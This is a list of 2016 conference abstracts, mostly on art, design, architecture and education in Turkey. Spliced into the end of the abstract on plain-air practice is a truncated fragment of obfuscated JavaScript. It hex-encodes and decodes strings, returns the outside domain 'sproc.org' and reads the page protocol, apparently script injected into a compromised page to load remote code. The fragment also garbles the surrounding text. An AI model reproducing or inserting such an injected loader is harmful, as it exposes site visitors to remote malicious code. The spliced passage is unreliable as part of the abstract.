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Non-coding RNAs: New therapeutic targets and opportunities for hepatocellular carcinoma
Authors: Cuiyun Yu , Ning Qian , Li Zhi-Ping , Huang Wen , Yu Jia , Yang Xiao-Yan , Lei Xiao-Yong
Published: February 2016

Non-coding RNAs (ncRNA) are RNA molecules without protein coding functions owing to the lack of an open reading frame (ORF). Based on the length, ncRNAs can be divided into long and short ncRNAs; short ncRNAs include miRNAs and piRNAs. Hepatocellular carcinoma (HCC) is among the most frequent forms of cancer worldwide and its incidence is increasing rapidly. Studies have found that ncRNAs are likely to play a crucial role in a variety of biological processes including the pathogenesis and progression of HCC. In this review, we summarized the regulation mechanism and biological functions of ncRNAs in HCC with respect to its application in HCC diagnosis, therapy and prognosis.
USO INDISCRIMINADO DE ANTIBIÓTICOS PELA POPULAÇÃO DE SÃO JOSÉ DO CALÇADO (ES) E O PERIGO DAS SUPERBACTÉRIAS
Authors: Martins Graziella Da Silva , Mangiavacchi Bianca Magnelli , Borges Franz Viana , Lima Nathalia Bastos
Published: February 2016

No decorrer das últimas décadas, a utilização sólida dos antibióticos veio revolucionar o tratamento de doenças infecciosas, permitindo uma grande melhora na saúde da população, reduzindo drasticamente o índice de mortalidade e mobilidade. Porém, hoje em nosso dia a dia está acontecendo uma perda na eficácia dos antibióticos, com o aparecimento de micro-organismos resistentes, aumentando a possibilidade de voltarmos à era pré-antibiótica, e as pessoas voltarem a morrer por infecções causadas por bactérias. Novas estratégias de combate à evolução de organismos resistentes a antibióticos devem começar a funcionar, começando a nível municipal, com a informatização da população para o entendimento de como os antibióticos devem ser utilizados, elaboração de um plano de ação para que haja maior vigilância epidemiológica e recomendações para uma prática clínica mais elaborada. O presente trabalho foi desenvolvido com a população de São José do Calçado - ES, no período de junho a setembro de 2015, sendo constituído de 100 pessoas com idade de 20 e 40 anos. Esta pesquisa é do tipo quali-quantitativa e exploratória. Foram aplicados questionários com 15 perguntas fechadas, mantendo o anonimato de todas as pessoas que responderam os mesmos, tendo-se como questão norteadora descobrir “Quais fatores influenciam a população de São José do Calçado, ES, a utilizarem antibióticos de forma indiscriminada? ”. Verificamos que muitos entrevistados relatam usar esses medicamentos sem prescrição médica e de forma irregular, além de relatar a indicação desses medicamentos para conhecidos. Esses resultados são bastante preocupantes pois indicam a possibilidade de surgimento de bactérias resistentes na região. Com isso, a estratégia de educação em saúde para essa população se faz necessária para a mesma seja instruída sobre o uso correto dos antibióticos.
The Infographics which are designed for environmental issues
Authors: Tuncalı Esra
Published: February 2016

Infographic is the transformation of information, sources and data in graphic format, to make them clear and easily understandable. In these graphics, sophisticated topics and maps are designed in a simple and explanatory way by means of stories. Infographics are seen in media and published works either in a scientific or simple level.In order for the world resources to fulfill not only today’s but also future generations’ needs, the basis for a sustainable life should be provided today. Organizations like Greenpeace run campaigns in accordance with the principals of protecting bio-diversity, in order for the contribution of raising awareness in society for future. These organizations often use infographics in their campaigns. Infographics contain a lot of research-focused information by quoting several sources. By the help of these researches and design, infographics form an effective way to transmit topics like “environmental issues and what to do about them”, to the target population.Based on the above explanations, how infographics deal with the issues like “nuclear hazard, the decline of biologic diversity and environmental pollution” is analyzed in this article. Furthermore, how people reach infographic design is described, and campaigns of environmentalist organizations were examined. As a result it is concluded that, in terms of the mentioned environmental issues, infographics are beneficial tools to raise awareness and to effectively transmit them to people, particularly in social media and other similar channels.Keywords: Infographics, environment, graphic design
Determination of odor profile of university students using electroencephalography (EEG)
Authors: Uçar Ömür , Atan Murat
Published: February 2016

Sense of smell, a subjective sensation, has not been studied as much as the other senses hence interpretation of olfactory messages is still not a fully understood process.  Olfactory perception, about which science made some significant advances only in the last 30 years, identifies a chemical substance coming to nose while also remembering past experiences. Therefore, in terms of odor appreciation profile it is important to reveal the difference between individuals as well as societies. The aims of this study are interpretation of EEG data with subjective statements, generation of a common denominator considering the gender variable and determination of odor appreciation profile for the Turkish sample.In this study, subjects who have no detailed information about the olfaction and odor were selected. EEG measurements were of randomly selected thirty six (eighteen female and eighteen male) right-handed, aged 18-28 years university students. Odor panel consists of 13 pleasant smells from different odor families (orange blossom, jasmine, peach, aldehydes, musk, vanilla, sandalwood, grass, amber, bergamot, pine, rose and patchouli). After examination of participants’ demographic characteristics, subjective statements and EEG data during smelling, The Odor Profile of University Students was provided and suggestions were made related to the conclusions. Keywords: Odor Profile, Electroencephalography (EEG), Odor Appreciation.
Evaluating the condition of the existing art of body tattooing and current practices in Turkey
Authors: Akarsu Seyda
Published: February 2016

Throughout history, human kinds have always been trying new ways by different means to look beautiful and different. Tattooing is also one of those ways and challenges. Today tattooing is losing its traditional concept and becoming more common with new professional spirit. Traditional tattoo with all its concerns to tattoo receivers and tattooing artists now is gradually become peeled from its old cast to be regarded as an art. Tattooing is application of dye to subdermal layers of skin which stays permanently and can't be rejected by skin later on. With rising tattoo application and use in the world, likewise in our country tattooing, it is also growing and become more popular. Based on this idea, the existing tattooing practices in Turkey were investigated and evaluated. This research applied in three biggest metropoles and a Holliday village. On these locations, the questionnaires were submitted to 553 tattoo receivers and 69 tattooing artist personnel. At the same time, 69 tattooing centres were visited and observed. The study results show that; tattoos are mostly the product of aesthetic and self-expression predominantly in younger generations. The most preferred tattoo motives were writings and images, and also the most preferred color found to be black. None of tattooing artist had formal training and they had different understandings of hygiene. As a result of this study, it has also been found that there are no regulations, administration or enforcement for standards in tattooing centres. Following the evaluation of this research results and also considering the current practice of tattooing centers in Turkey. It is proposed a set of recommendations to train, to regulate, to administrate and to enforce the standards for the art and practice of tattooing in Turkey.Keywords: Tattooing, Body Art.
An evaluation over houses formed with spatial openings and space within a space relation: Loos typology
Authors: Aykac Gokce Nur
Published: February 2016

Person meets his shelter need finding spaces to hide in by the instincts such as feeling safe, being protected and so on. Besides the opening that was used for entrance and exit to the shelter, human had created voids on the shell in order to get light and air inside. The openings which are created firstly on surface and the second dimension turned out to be architectural elements defined such as windows and doors. In the architectural context the openings which are separating the spaces from each other are created in the third dimension; defined as structural openings. Through the historical process, with the development of space the openings have transformations and changes also. Being created on the surface of the space shell, they have roles with the main space and sub-spaces to relate with each other. Aim of the research is to be able to define the relations created between the spaces with the structural openings. Within the study, the forming new space examples will be cited and the mediary voids ensuring continuity and visual transitivity between these spaces will be hounded in the house spaces. The connection between the structural openings and the following relations will be researched through the spaces of Modern Architecture, Adolf Loos (1870-1930) spaces. Loos spaces different from the accustomed spaces were formed by the level differences and voids aim to get light inside, this shows his effort creating space within a space relation in his houses.  According to this typology, the spaces are constructed successively and perpetually, and by means of these organized openings they communicate in each other.Keywords: spatial opening, space within a space relation, Loos typology.
Contribution of mental training to the improvement of sports performance
Authors: Teodor Grosu Vlad , Elena Moraru Cristina , Florina Grosu Emilia , Aneta Preja Carmen
Published: February 2016

The aim of this study was to assess the influence of mental training on the increase in attention and manual response in certain athletes (skiers). The subjects within are samples are aged 12±5 and 16±1. The athletes who participated in this study are part of ski groups within School sports clubs. The experimental group comprises athletes from Gheorgheni, Baia-Sprie, while the control group includes of athletes from Topliţa, Sibiu, Predeal and Sinaia. We applied the ACRM (focused attention with manual response) test, because it provides information on the ability of remaining focused during activities with imposed pace and with dynamic field of observations. We conducted these tests after applying certain mental training techniques in the experimental group and after comparing the scores with those obtained by the control group. For the analysis, we used the SPSS 15.0 software. For the comparison of means between the groups of subjects, we applied ANOVA for the VP, EP and EX posttest measurements. The purpose was to determine whether the two groups have similar scores before the intervention. We applied mental imagery techniques on certain components of alpine skiing technique, based on hand-eye coordination. We also calculated a t test for dependent samples for VP, EP and EX, in posttest, to the end of establishing whether the intervention led to any alterations. The means and standard deviation for VP are as follows: for the control group 10.00±6.04 and for the experimental group 4.04±3.85; for EP test, the values for control group are 18.54±9.12 and for the experimental group 9.83±4.40; EX – the values obtained for the control group 0.86±0.07 and for the experimental group 0.92±0.05. The values for (t) Student Test were the following: for VP t=4.074, p<0.000; EP t=4.203, p<0.000; EX t=3.279, p<0.002. Considering both the comparative analysis of scores to the tests.Keywords: attention, skiing, mental training, manual response
Learning from Turkish modern furniture design
Authors: Hasırcı Deniz , Tuna Ultav Zeynep , Atmaca Hande , Borvalı Seren
Published: February 2016

Furniture, as a design element is an important part of design theory as well as design history. It has acted both as a part of the architectural context and individually in history. It reflects the context of the time, lifestyles, choice and behavior. The manifestation of modernism at the beginning of the 20th century can be indicated as a milestone regarding the whole history of furniture. However, when the history of furniture in Turkey during this time is analyzed, it is observed that one can only come across limited literature. Departing from this lack of historic writing and rewriting, a scientific research project, “DATUMM: Documenting and Archiving Turkish Modern Furniture”, was initiated based on exhibiting, documenting and archiving the history of modern furniture design in Turkey. The aim of this project is to highlight the modern furniture designed and produced in Turkey in the modern periods that can be defined as 1930’s “Cubism” or “Functional Architecture Period”, and the period of “International Style” in 1950s, 1960s and the 1970s. The sense of a comprehensive experience was needed to tell this story, and that is why it is composed of a variety of methods and related outcomes. With the array of outcomes planned to take its place in memory, the aim is to enable a remembered and developing process filled with significant moments to not only put together a collection, but to provide an inclusive impression. The methods and products -online archive, documentary film, catalog, colloquium, and exhibition work together to fulfill this aim. The first stage of the project has now been completed and has brought designers as well as furniture designs of the time together. The paper includes the assessment of the process, as well as the strategies for the future to enable the continuation of the success of the project.Keywords: Turkish modern furniture design, design heritage, design history, archiving, documentation, exhibition
Surrealist inheritance in drawing
Authors: Emrali Refa
Published: February 2016

Sequential movements in history of art have led to revolutions during the times they originated. Thereafter, they maintained their existence in work of art with their indications. These heritages artists have acquired take them away from their pasts, bring them to present, and at this very point where past and present intersect, enable them to view future. Drawing is the origin of creative practice in all plastic arts, from painting to architecture. Artistic contemplation begins with nature we are part of and a familiar object close by. Examining entity and life-drawing teaches us how to observe. Identifying and contrasting objects are only complete with mathematical discipline, coordination of eyes and hands, and finally with a self-styled line of plastics. In the present paper, drawing is explained in relation to the influence of surrealism. To this end, quotations of portray able examples of our memories’ and dreams’ nonvisible worlds, rather than drawings of entities confined in their external appearances, are given. Line, emerging from imitating the visible, has responded to the messages of the unconscious. This paper examines the drawings of three surrealist artists, namely, Alberto Giacometti, Paul Klee, and Réne Magritte. According to surrealists, the unconscious does not aim solely for the creativity of meaningless facts, yet, it establishes a relationship between facts and objects in human contemplation. In this context, surrealist creation is a rich synthesis for drawing. Today, surrealist aspects can be seen in many drawings. Surrealism will continue to update itself and influence artists’ imagination post its time.Keywords: Drawing, surrealism, dream, nature
Opinions of Vicente Blasco Ibanez, one of Travelers of 20th Century about Clothes of Turks (Example of “Orient Before The Storm”)
Authors: Sahinoglu Meyrem Arga
Published: February 2016

“Travel books” or “itineraries” which are one of the oldest types of literature are the works of travelers who traveled different regions for different reasons and transfer the lives, cultures of the people where they travelled to the next generations.Starting point of the author in itineraries is “geography” rather than events. Depending on this fact, the subject of an itinerary is the climate of the region, historical works, old-new buildings, clothes, details of the daily life etc. It is possible to assess itineraries as documents supporting historical, geographical and sociology sciences in terms of contentsThe purpose of this research is to determine the opinions of 20th century travelers on the clothes of Turks. In the research the itinerary of Vicente Blasco Ibanez named “Orient Before the Storm” was examined and it was tried to determine the opinions of the author about garments of that era. In “Orient Before the Storm” which is the travel notes of the Spanish traveler who came to Istanbul in August 1907, Vicente Blasco Ibanez, the great man of letters who is one of the leading politicians of his country states that what was told about Turks in Europe were not correct and wrote his detections which are remarkable even today. In the itinerary there are significant clues on clothing of Turks. Vicente Blasco Ibanez states in his itinerary that Ottoman garments were smart and magnificent.Keywords: travel book, ottoman dress.
Intercultural interactions in the painting arts education: "Azerbaijani painters example in Turkey"
Authors: Ozer Ayhan
Published: February 2016

Teaching of the arts which include universal values and rules in essence ,in spite of containing local signs, should be formed by universal criteria’s and the richness, and contain diversity as well.  Intercultural interaction is an opportunity that may offer important advantages to this diversity. To be the subject of education and training of the arts, which is almost in the same age with humanity, in Turkey coincides with relatively near future. Turkish art education institutions, trying to fit the process of understanding hundreds of years of tradition and rules into a few decades, tried to speed up this process by going especially western countries or bringing artists from there. While the number does not exceed fingers of two hands especially in the last ten-fifteen years, now the expression of these numbers with three-digit numbers made the need for qualified instructors preferred. On the one hand this case contains various handicaps, but on the other hand, it can be considered as an opportunity. These study opportunities were designed to detect the sample.Keywords: art, intercultural interaction, Azerbaijani painters.
The association of typography with form and content in digital games
Authors: Soyluçiçek Seza
Published: February 2016

The aim of this study is to define the correct usage of the connection between the typographic elements in digital games and the form and content of game concept. In this work, the points to take into consideration while utilizing this connection correctly and the effective usage of typographic elements with game graphics will be scrutinized. Along with the character, object and environment design that is composed of the story and concept design which underlies the game design, the selection of the typeface in games is also one of the points to be considered. The typographic elements are substantial design elements of a game design along with the character, environment and level design. The typographic elements of a game are helpful to enable the connection between the user and the game and to direct the user in the game. In this sense, from the game's opening scene, the selection of typefaces that are used in logos, menus, and directions increases in importance. Moreover, in both visual and technical manners the usage of typography in games brings different approaches compared to the ones used in the printed media. To illuminate these topics, successful game examples will be analyzed. The selection of typefaces used in the examples will be looked at from the point of subject, concept and audience and the principles of the correct usage of typography will be mentioned. Along with these, the rareness of the resources about the usage of typography in game design raises the importance of this work.Keywords: Game design, typography, type face, user interface design.
Game as a mediator in a first year architectural design education
Authors: Birer Emel
Published: February 2016

First year architectural design education can be started with various methods which, through testing within different studio studies, can also give ideas as to how to start architectural education. This study will address the contributions, and results of starting first-year architecture education with game as a mediator.  When they start their architectural education, students will have their own unique experiences of form, and space gained since their childhood in their built environment. Therefore, in order to refine the students’ perceptions on their built environments at the beginning of the education process, it’s necessary to provide them with opportunities that will give them confidence in what they can do about form and space. The aim of this paper is to emphasize the importance of the first year in architectural design education, and to discuss the beginning methods, considerate student, tutor and educational factors together. Thus, the game selected to start the architectural education with the purpose of activating the gaming instinct of the student is the “City Game”. The findings of this study provide guidelines for tutors to set up a favorable learning environment from the city and that cooperative learning can be enjoyable by the game for the students.Keywords: design education, game, mediator, first year architectural education
Differences between literature and arts in the context of language
Authors: Kaya Ahmet İhsan
Published: February 2016

Branches of art, in a general sense, constitute an integrity with their common traits. Yet, they differ in their functions, form sand capacities. Music has a phonetic construction, which consists of sound. Plastic arts such as architecture, sculpture and painting consist of marble, stone and paint. Literature, on the other hand, consists of words. The key element that separates art branches from each other is the material that is used for each and everyone of them. Due to its unique construction, literature is different from other arts with its multidimensional mental function and with the way it appeals to the senses. In this sense, with its distinctive aspects, literature must be used as a subject in scientific studies. Literature is an intellectual art branch which is built in brain by having kneaded of the elements such as language, structure, content and style. Literature is anthropocentric in everyway. Without a doubt, the key element that makes literature different in many aspects is language. This study investigates literature's differences from other branches of art in the context of its production materials.Keywords: Art, literature, language, differences in literature.
The impacts of nation state ideology in the early republican period of Turkey (1923-1938) on culture and art policies
Authors: Erdal Gulsen G.
Published: February 2016

The rapid change and transition process experienced through the Modernization / Westernization period entered with the Republic, which was founded in Turkey in 1923, includes intense constructions of culture and art media. All these constructions desired to be realized involve provision of a secular platform for political and ideal life, integration of culture into all parts of the society using the national history as a basis in culture, structuring high cultural institutions and bringing them into force. Due to the conditions of the period, educational administration is centralized. The objective of the elementary education is to train citizens for the new republic and raise the awareness of citizenship. Educational policies and programs rising national consciousness with a universal-humanist-secular approach is the principal feature of the republican education system.Keywords: Early Reepublic period.
Global brand advertisements and the representation of localization in the example of Turkey
Authors: Sarıkaya Rasim
Published: February 2016

In the present-day world, globalization has increased the intensity of international competition, transforming the world into a single market. The concept of global advertisements, which gained importance parallel to globalization, is nowadays losing its status as the sole valid advertisement strategy for companies conducting business at a global level. The primary reason for this is the increasingly intense competition environment created by the entry of many new actors into the global and local markets, which has led global businesses to pay greater attention to the cultural variables of their target markets rather than just their economic variables.Culture represents all of the material and spiritual elements associated with a society, and can vary considerably from one society to another; in this context, culture is increasingly becoming the focus point of marketing and advertisements in the present-day world. One consequence of this new approach has been the entry of the concept of “glocal” into the advertisement literature.To summarize, the concept of “glocal” involves the creation advertisements that bear the characteristic and local cultural features of the country where they are broadcast, while also closely adhering to a general global concept and goal.This study focuses particularly on the representation of localization elements and prevailing ideologies in global brand advertisements in Turkey, a country that harbors a highly diverse multitude of different lifestyles, cultural backgrounds and traditions. This study evaluates local advertisement campaigns in Turkey for certain global brands according to their overall preferences and/or differences with respect to the local cultural elements they harbor and represent, and the ideological background for these preferences. This evaluationwas performed based on several advertisement examples/cases examined through semiological analysis methods.Keywords: Culture, Advertisements, cultural differences, Global Advertisement, Glocal Advertisement, Representation, Ideology.
Book as an object: conceptual illustrations in Edgar Allan Poe’s books and a sample study
Authors: Eken Begüm
Published: February 2016

Today, when the future of the book is discussed, the main question is whether it has one. Information age transformed ongoing traditional features of a book. It has been foreseen by the critics that printed books, libraries and book stores are doomed to lose their values on the ground of developing technologies. As James O’Donnel cited from Pulitzer winner author E. Annie Proulx in his paper, “Nobody is going to sit down and read a novel on a twitchy little screen. Ever." (Nunberg, 1996). Although printed books are less popular in this digital age, there are still readers and book lovers who always get fascinated by the feeling of flipping pages of a book. According to a research done with readers, they would prefer to have a reading experience with a printed book rather than a screen especially if it is a classic literature book. Two of the main components of verbal and visual dimensions of imagination are illustration and literature. Aim of this paper is to try and find a way to maintain the tradition of a printed book and to explore the relation between these principals in one medium through narrative illustrations of Edgar Allan Poe literature. Also the purpose of this paper is finding the similarities of the two disciplines, as both reveal ideas in unexpected and innovative ways in one’s mind. A selection of his short stories and poems will be illustrated and designed to engage the two areas, literature and illustration to reach readers in a more different way than usual in order to communicate with them more effectively.Keywords: Edgar Allan Poe, book as an object, illustrations, conceptual narrations, book design
Memory- space relation in an adaptive reuse building: Analysis of Cengel Han- Rahmi Koc Museum
Authors: Cihangiroglu Melike Selcan
Published: February 2016

A space is perceived by experiences and usage. The purpose of the study is conveying the memory effects in an adaptive reuse building in order to discuss interior space and memory. Protecting the essence of the used materials or structural features and being respectful to the past experiences in the place will increase emotional experiences of the user and will preserve the building in the matter of significance. In order to explain this approach with a case Cengel Han is studied with both individual and regional effects of the building in the memory were interpreted.Keywords: Memory of spaces, sense of place, essence of the space, memory space relation.
Computer aided design in education and its’ interpretation through design thinking
Authors: Togay Abdullah , Coşkun Merve , Güneş Serkan , Güneş Çiğdem
Published: February 2016

The notion of “design thinking” can be regarded as a way of thinking that consists of both divergent and convergent phases. As a creative problem solving methodology, it first defines the problem with a human-centered perspective and then analyzes all the aspects of the problem as a part of a whole. This approach can be applied in all fields, including design education. With the emerging technology, computer-aided design tools and techniques have become an indispensable part of design professions, and therefore education. However, the way how computer-aided design tools and techniques should be integrated into current design education has not been discussed adequately. This study aims to frame the problems related to the current content, structure and timing of CAD courses. The alternative solutions regarding the integration of CAD courses to product design education will be proposed by using design thinking method.Keywords: design thinking, computer aided design (CAD), design education
Analyzing the value of brand in terms of visual imagery
Authors: Kurtcu Fatih
Published: February 2016

Today’s mankind living in the world surrounded with signs, imagery, shapes and symbols and as tells his views, ideas by use of those signs. Imagery are created signs which are representing things that were shown. As Lepert (2009) “The imagery are not mined like ore; they are constructed for the purpose of performing some function within a given sociocultural matrix. As Berger (2010) “An imagery is a sight which has been recreated or reproduced”.Advertising imagery are produced to sell and to increase sales as providing to desire of objects. Such that imagery plays as an important role that determine of status. Buying a specific product means, gaing a specific status. As Leppert (2009), “Imagery urges what sort of bodies to have and to desire or to build (even the seeming natural “given” of our fleshly frames is terrain for future construction); it influences our sense of self, our belief systems, our individuality, and our status as social beings; it encourages what clothes to wear or car to drive, which political party to vote for, and so forth”. Meanwhile imagery have power to make changes in the value of a brand. Imagery (commercials, advertising, logos, photographs, showcases, etc.) has an effect in the value of brands. Through visual imagery it can be told the quality, goodness, badness, reliablity, cheapness, expensiveness, etc. of the brand. In this paper visual imagery will be examined and anlyzed of impact to brands quality.Keywords: İmagery, Visual imagery, Semiotic, Sign, Brand.
A comparative analysis of methods for triggering “creative thinking” in design studios
Authors: Atakan Gokçe
Published: February 2016

“Design Studio” is acknowledged as the core course for “spatial design” in both architecture and interior architecture education. The main idea of the design studio is based on uniting all the gathered information from other classes in a context of an architectural project. The key expectation from the studio is to teach ‘how to think creatively’. This paper, particularly concentrates on interior architecture education. Design studios in Turkey, mostly use what is referred as the “contextual model” which starts with a given problem/ situation and proceeds from that given context. During the process of this approach, the instructor guides the student, discusses space generation and corrects technical mistakes.  Taking “creative thinking” into consideration, it is important to constitute another model, which is referred as the “conceptual model”. This process starts with student’s thoughts triggered by chosen materials, and the instructor communicates through abstract and intellectual thinking, discusses idea generation and, corrects technical mistakes. In this paper, the method of comparative analysis is used to examine the advantages and disadvantages of each above mentioned design studio model. The comparison of models is done by criteria derived from Salama’s (1995) survey about the current situation in design studios. As a result of the study it is observed that, both models have some advantages and disadvantages regarding seven excogitated design studio criteria.Keywords: design education, design studio, creative thinking, ınterior architecture.
A model proposal for postgraduate education in gastronomy and culinary arts field
Authors: Özkanlı Oya
Published: February 2016

Gastronomy is a multidisciplinary science and art branch which is affected by some work areas such as eating-drinking, culture, art, anthropology, sociology, and it affects them; furthermore it includes all eating habits of humankind since the existence of it until today and impacts of them on people and society, and culinary arts. Gastronomy which is tried to research and come to conclusion of eating habits of society which are in nature of society's mirror is in the ascendant. In this study, academic education of today's scientific gastronomy studies in postgraduate level will be focused on, which students who are the last product of gastronomy and culinary arts department in master and doctorate programs should take. In this context, examining the existing courses and contents of courses, and qualifications which graduate students need to have is also discussed.Keywords: gastronomy postgraduate, culinary arts postgraduate.
A study on selection of polymer based surface materials in interior design
Authors: Sadıklar Zeynep , Tavşan Filiz
Published: February 2016

People interact with surfaces in interior spaces, where a huge part of their life lasts. Many of these surfaces which surrounds the interior spaces are covering or coating materials in various textures and shapes. Materials used in interior surfaces are applied for various purposes. Protection, insulation or decoration can be considered as the main objective of these purposes.This study aims to research what kind of polymer based surface materials are used by interior designers and their reasons, frequency and area of use.  For this reason, the study is composed on a questionnaire. The questions are prepared by summarizing the polymer based material information obtained from the literature. The questionnaire participants are interior designers who are actively working in the field. With this group, a survey on selection of plastic materials has been made. Survey results are explained in the findings. The last chapter includes the conclusions and recommendations of the study.Keywords: Interior design, surface materials, plastics, polymers.
Reading image and thinking image in a new visual age
Authors: Taspınar Seyda Eraslan
Published: February 2016

We are living in the age in which visually is prevailing intensely and mass communication is based upon image rather than expression.  It is a significant skill for our age to comprehend the language of images in this new visual age. Art and visual world are not independent concepts.  Visual literacy, a branch of multiple literacies emerged with the development of information and its transfer style, is a visual language utilized to work out issues of this new visual age.   In this study, the relation of visual literacy concept to art and art education is investigated based on the literature in the light of technological advancements.   Improvability of visual literacy skills through art education is discussed by compiling the results and comments of other studies and investigating the interrelation of art and visual literacy.  At the end of the research with the scanning method, evaluations on the relations of visual literacy concept to art education and their interactive sides were carried out, and conclusions and recommendations were stated relevant to raise productive individuals that have visual literacy skills through an effective art education.Keywords: visual literacy, visual thinking, visual arts, visual arts education
The relationship of fashion and art and art literacy of the students of the department of fashion design
Authors: Varol Esra
Published: February 2016

The existence of the relationship between fashion and art dates back to old times. The aim of Worth and Poiret with the arising of haute couture in 19th century was the acceptance of fashion designers as artists. Even though this situation has never realized completely, many designers continued designing clothing with the sense of art and still do. The subject that unites design and art on the common ground is that there is an effort of creating an esthetical product at the end of both activities. In this direction, art lessons have always been a part of design education. As in every design field, in fashion design field art lessons take place in the curriculum. Art provides the inspiration for the designers; students and other designers design clothing by being influenced by the art. Thus, art becomes an eternal research field for designers, art literacy comes into prominence in this respect. The aim of this research is to discuss the relationship of art and fashion within its historical development and reveal the art literacy of the students of the department of fashion design. The research has been carried out in Eskisehir Anadolu University Faculty of Architecture and Design Department of Fashion Design. The method of the research is descriptive. In order to obtain the research data along with literature review art literacy scale that is developed by Assistant Professor Doctor İzzet Yucetoker has been used. Scale 96 has been applied on fashion design student.Keywords: fashion, art, fashion design, art literacy.
Design artpedagogy in the system of modern education of pedagogy students during plain-air practice
Authors: Nebessayeva Zhanar , Rabilova Zoya , Musakulov Kusan
Published: February 2016

The article reviews systematization and elaboration of artpedagogical nature of the “professional and creative activity of future visual arts teachers” concept together with its “performance”, “creativity” and “activity” categories, and the opportunities that plain-air practice provides to a teacher’s professional growth. The author has identified and substantiated the additional reserves of students’ creative activity intensification during plain-air practice; the author has also reviewed pedagogical conditions facilitating the intensification of professional and creative activity of students during plain-air practice.The article reviews a breakthrough approach to plain-air practice process aimed at the intensification of creative activity of students. The author has developed theoretical principles for the intensification of professional and creative activity of students during plain-air practice, including specific components, criteria and metrics.  In general, the use of modern pedagogical techniques in artpedagogical education ensures proactive attitude of future specialists preparing for the upcoming professional activity. It improves the students’ understanding of the importance of their future profession, their motivation for achievement of better results in their professional and creative activity.Keywords: Artpedagogy, proactiveness, creativity, activity, plain-air practice, integration, imaginative cognition specificity.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "sproc.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
Relation between landscape preferences and perception in animations
Authors: Demirbas Banu Özge
Published: February 2016

“Anima”, the word root of animation, means mediator body between soul and physical body in Latin. Similar to its meaning, the animation technique - with its current form- created by showing images fast in series depicts the bridge between individual and digital reality. It is possible to catch details to which we show instinctive tendency in the visuals that we fictionalize.In the studies in this field where techniques such as 3D, 2D, stop motion and cut out are  used,  ambient similarities are observed to emerge. Considering from a psychological and biological perspective, we see that landscape preferences are infuential in the determination of our reactions towards the images that we watch. Traces from the way of living of first humans can be observed in the roots of the idea that determines the positive and negative efects on an individual by a completely fictional image. Environmental tendencies and preferences of an individual are shaped with respect to his/her actions experienced formerly. Establishment of aesthetical judgements is associated with this fact. It is seen that the animation movies, commercials and TV shows are produced based on the scene preferences that are thought to afect the individual in a positive way. In this study, relation of environmental tendencies created in animations with past experiences, and efect of this experience on individual are discussed. Elements located in the scenes are in harmony with each other. In order to reinforce the visual communication and to create an efective communication channel, this harmony should   be taken into account. Efects of certain approaches between personality and scene preferences on our perception and subsequent similarities between our aesthetical judgements are investigated. It is seen that an efective communication channel can be created by emphasizing these tendencies that play an important role in the determination of our emotional preferences.Keywords: animation, landscape preference, perception, natural scenes, landscape aesthetics.
Intelligent spaces: Effects of pervasive environments on the role of interior designer
Authors: Yildirim İnanç Işıl
Published: February 2016

Intelligent spaces are rooms or areas that are embedded with sensors and actuators which enable the spaces to perceive and understand what is happening in them. Through an increasing number of computers and wireless communication technologies networked them, these spaces have the ability of receiving the parameters of physical world which users exist in their relevant context, analysing and processing the data with the interfaces between the physical and digital world, and react or change their mode and augment the human functionality, on time. Integration of computer and physical space results a space which have the computer's thinking ability. Due to the space having intelligence, sensors and the capability to communicate, definitions are not the same as in usual space. Pervasive computing is transforming interior spaces by allowing utilities, goods and information to appear dynamically where and when they are needed. Also, we are face with the space that can understand what is happening inside and outside it and which is not passive to the changing environmental situations. Intelligent interiors can become immersive sensory environments that combine the advantages of automation and modern technology with sensory feedback and materiality. The advances in hardware, system design, and software made enable to achieve this vision. In this world, physical objects and spaces are linked to the digital world and information about the physical world can be used to support human functionality and experience. In this paper, the vision of intelligent space will be explained and the innovations that helped to realize these spaces will be introduced. The social and psychological impacts of the future technologies while designing interior space will be discussed. The changing way we work and live and interfering boundaries of the space titles were asked by the way of a short questionnaire to the Interior Design Students who have the seminar about Intelligent and Interactive Spaces this semester, so their knowledge about these spaces and computer technologies are enough to comment the questions. This will give us the idea of future’s interior designers’ new role in these environments. These finding will give us a supporting knowledge about intelligent or thinking spaces and their impacts on the roles of interior designers.Keywords: Intelligent spaces, pervasive environments, interior design education, future vision.
Significance of sketch in creativity process related to graphic design education
Authors: Karaata Ezgi
Published: February 2016

Sketching holds significance for graphic design as well as it does in any other design process. The contribution of sketching to graphic design process comes in the form of generating new ideas and developing concepts. The solution of a design problem will not be the best one, if the designer uses technological tools, such as computers, directly in order to solve the design problem. The significance of sketching includes also the graphic design education. Even though computers are the mostly used tools in today's graphic design education, students should grasp the benefits of sketching. In this study, the role played in creative process by sketches that students do related to their projects during a course that is in the curriculum of a university’s Graphics Department will be discussed.Keywords: Design, graphic design, sketch, design process, creativity.
Cultural patterns of shoe storage in the apartment life of İstanbul, a focus on the differences of shoe case usages
Authors: Dilek Özgün
Published: February 2016

This paper aims to reflect an ethnographic research on the usages of shoe cases in the apartment life of İstanbul. This topic is chosen to understand the effect of a cultural behaviour on taking off the shoes before entering a private place. This common cultural behaviour may have role on changing the design of shoe case, its variations developed by users and its artefacts. To do this research, I followed interviewing and literature review methods. Initially, I met people to talk about their habits on taking off the shoes and then I searched for the literature within the relation of common spaces in neighbourhood. The reason I followed that way is not to have some preconceptions though the literature before I conducted interviews. As a conclusion, paper inquiries the concept of borders, hygiene, and common place through the changing usages of a shoe case and through the habit of taking off the shoes.Keywords: Shoe case, apartment life, borders, hygiene, common place